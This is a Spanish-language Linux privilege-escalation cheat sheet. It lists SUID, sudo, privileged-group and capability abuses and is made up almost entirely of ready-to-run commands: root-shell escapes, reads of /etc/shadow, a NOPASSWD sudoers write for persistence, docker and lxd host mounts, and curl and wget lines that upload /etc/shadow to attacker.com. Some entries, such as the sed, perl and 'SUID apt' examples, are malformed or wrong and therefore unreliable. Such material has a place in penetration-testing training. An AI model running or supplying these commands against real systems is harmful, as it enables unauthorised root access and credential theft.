Skip to content

Escalación de Privilegios - Permisos SUID, Capabilities y Grupos Privilegiados

SUID (Set User ID)

¿Qué es? Binario que se ejecuta con permisos del propietario (usualmente root), no del usuario que lo ejecuta.

Identificar:

bash
# Buscar archivos SUID
find / -perm -4000 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

# Ls muestra SUID con "s" en permisos:
# -rwsr-xr-x  root  root  /usr/bin/sudo
#    ^-- este "s" indica SUID

Explotar:

bash
# 1. Encontrar binario SUID
find / -perm -4000 2>/dev/null | grep -E "bash|sh|cat|cp|chmod|chown"

# 2. Si es binario común (cat, cp, ls), intenta ruta relativa
# 3. Si es binario específico, buscar en GTFOBins

# Ejemplo: /usr/bin/find SUID
/usr/bin/find . -exec /bin/sh -p \;

# Ejemplo: /usr/bin/apt SUID  
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

# Ejemplo: /usr/bin/sed SUID
sed -e 's/^/id > \/tmp\/flag/' /etc/passwd

# Ejemplo: /usr/bin/perl SUID
perl -e 'exec "/bin/sh"'

SGID (Set Group ID)

¿Qué es? Archivo que se ejecuta con permisos del grupo propietario.

Identificar:

bash
find / -perm -2000 2>/dev/null
find / -perm -6000 2>/dev/null   # SUID + SGID

# Ls muestra SGID con "s" en grupo:
# -rwxr-sr-x  root  tty  /usr/bin/tty
#         ^-- este "s" indica SGID

Sticky Bit

¿Qué es? En directorios, solo el propietario puede borrar archivos.

Identificar:

bash
find / -perm -1000 2>/dev/null

# Ls muestra sticky bit con "t":
# drwxrwxrwt  root  root  /tmp
#           ^-- "t" indica sticky bit

GTFOBins - Binarios que Pueden Escalar Privilegios

Sitio: https://gtfobins.github.io

apt / apt-get

bash
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

bash

bash
bash -p
bash -p -i

cat

bash
cat /etc/shadow

chmod

bash
chmod u+s /bin/bash
/bin/bash -p

chown

bash
chown root:root /tmp/shell

cp

bash
cp /bin/bash /tmp/bash
cp /etc/shadow /tmp/shadow

curl

bash
curl file:///etc/passwd
curl -F file=@/etc/shadow http://attacker.com/upload

dd

bash
dd if=/etc/shadow of=/tmp/shadow

docker

bash
docker run -v /:/host -it alpine chroot /host /bin/bash

env

bash
env -i HOME=$HOME /bin/bash -p

find

bash
find . -exec /bin/sh -p \;
find . -exec /bin/bash -p \;
find . -type f -exec chmod u+s {} \;

git

bash
git help config
!/bin/sh

grep

bash
grep -r password /root

less / more

bash
less /etc/shadow
!/bin/sh

ls

bash
ls -la /root

man

bash
man ls
!/bin/sh

nano / vim / vi

bash
nano /etc/shadow
# En editor: Ctrl+R Ctrl+X
# Escribir: /bin/sh
# Ejecutar

vim /etc/shadow
:!bash

:e /etc/shadow

nmap

bash
# Versión vieja con modo interactivo
nmap --interactive
nmap> !sh

openssl

bash
openssl enc -in /etc/shadow

perl

bash
perl -e 'exec "/bin/sh"'
perl -e 'system "/bin/bash"'

php

bash
php -r 'system("/bin/bash");'

python / python3

bash
python -c 'import os; os.system("/bin/bash")'
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

ruby

bash
ruby -e 'system("/bin/bash")'

sed

bash
sed -e 's/^/exec \/bin\/sh/' /etc/passwd
sed -e 's/^/id/' /etc/passwd

sh / bash

bash
/bin/sh -p
/bin/bash -p

sort

bash
sort /etc/shadow

sqlite3

bash
sqlite3
sqlite> .system /bin/sh

ssh-keygen

bash
ssh-keygen -D /lib64/libc.so.6

sudo

bash
# Si tienes permisos limitados
sudo -l
# User usuario may run: /usr/bin/find
# Entonces:
sudo /usr/bin/find . -exec /bin/sh \;

tee

bash
echo 'usuario ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/usuario

tmux / screen

bash
tmux new -s session
# Luego desde otra sesión:
tmux attach -t session

unzip

bash
unzip -l /tmp/archive.zip

vi / vim

bash
:set shell=/bin/bash
:shell

wget

bash
wget --post-file=/etc/shadow http://attacker.com/
wget -O- file:///etc/passwd

whois

bash
whois
> !sh

Sudo Rights Abuse

Ver qué puedes ejecutar como sudo:

bash
sudo -l

Ejemplo vulnerables:

Sudo sin contraseña

bash
# Si output muestra:
# (root) NOPASSWD: /usr/bin/find

# Entonces ejecuta directamente:
sudo /usr/bin/find . -exec /bin/sh \;

Sudo con comando específico

bash
# Si tienes:
# (root) /usr/bin/python3

# Buscar en GTFOBins qué puedes hacer con python3
sudo python3 -c 'import os; os.system("/bin/bash")'

Sudo con comodín

bash
# Si tienes:
# (root) /usr/bin/apt-get *

# Entonces cualquier comando después de apt-get:
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Sudo con ALL

bash
# Si tienes:
# (root) ALL

# Acceso total sin restricciones
sudo -i
sudo su
sudo /bin/bash

Privileged Groups

Grupo sudo

bash
# Verificar si estás en el grupo
id | grep sudo

# Si sí, normalmente tienes acceso a comandos específicos
sudo -l

Grupo admin (Debian/Ubuntu)

bash
id | grep admin

Grupo wheel (RedHat/CentOS)

bash
id | grep wheel

Grupo adm (Log readers)

bash
id | grep adm

# Puedes leer logs sensibles
cat /var/log/auth.log
grep "password" /var/log/auth.log

Grupo docker

CRÍTICO - Escalada a root:

bash
# Si estás en el grupo docker
id | grep docker

# Entonces puedes crear contenedor con acceso a root filesystem
docker run -v /:/host -it alpine chroot /host /bin/bash

# O más directo:
docker run --rm -it -v /:/host ubuntu chroot /host /bin/bash

# O montar socket de docker:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash

Grupo lxd / lxc

Escalada a root en contenedores:

bash
id | grep lxd

# Descargar imagen Alpine
wget https://github.com/saghul/lxd-alpine-builder/releases/download/v0.3/alpine-v3.13-x86_64-20210218_0139.tar.gz

# O crear:
lxc image import alpine-*.tar.gz --alias alpine
lxc init alpine container -c security.privileged=true
lxc config device add container root disk source=/ path=/host
lxc start container
lxc exec container -- /bin/bash
# Ahora estás en /host como root

Grupo disk

bash
id | grep disk

# Acceso directo a discos:
fdisk -l
dd if=/dev/sda1 of=/tmp/backup.img

Grupo video

bash
id | grep video

# Acceso a framebuffer
cat /dev/fb0

Grupo audio

bash
id | grep audio

Grupo cdrom

bash
id | grep cdrom

Capabilities

¿Qué son? Permisos granulares para aplicaciones sin necesidad de SUID o ser root.

Buscar capabilities:

bash
# Binarios con capabilities
getcap -r / 2>/dev/null

# Listar capabilities específicas
getcap /usr/bin/python3
getcap /usr/bin/perl
getcap /usr/bin/ruby

Capabilities Peligrosos:

bash
# cap_setuid - ejecutar como cualquier usuario
# cap_setgid - cambiar grupo
# cap_net_raw - acceso directo a red
# cap_dac_override - bypassear permisos de archivos
# cap_sys_admin - operaciones administrativas
# cap_sys_chroot - cambiar root

Explotar:

bash
# Si /usr/bin/python3 tiene cap_setuid:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Si /usr/bin/perl tiene cap_setuid:
/usr/bin/perl -e 'exec "/bin/bash"' -C

# Si /bin/bash tiene cap_net_raw:
# Acceso directo a paquetes de red

Agregar capabilities (como root):

bash
# Copiar bash
cp /bin/bash /tmp/bash

# Agregar cap_setuid
setcap cap_setuid+ep /tmp/bash

# Usar
/tmp/bash -p

Escaping Restricted Shells

Si estás en un shell restringido (rbash, jailkit, etc):

bash
# Intenta cambiar shell
bash
sh
/bin/bash
/bin/sh

# O escapar con comandos
echo /bin/sh | sed 's/./&/g'
$(echo /bin/sh)
/usr/bin/python3 -c 'import os; os.system("/bin/bash")'
perl -e 'system("/bin/bash")'
ruby -e 'system("/bin/bash")'
php -r 'system("/bin/bash")'

# O comandos encadenados
python3 -c 'import subprocess; subprocess.call(["/bin/bash"])'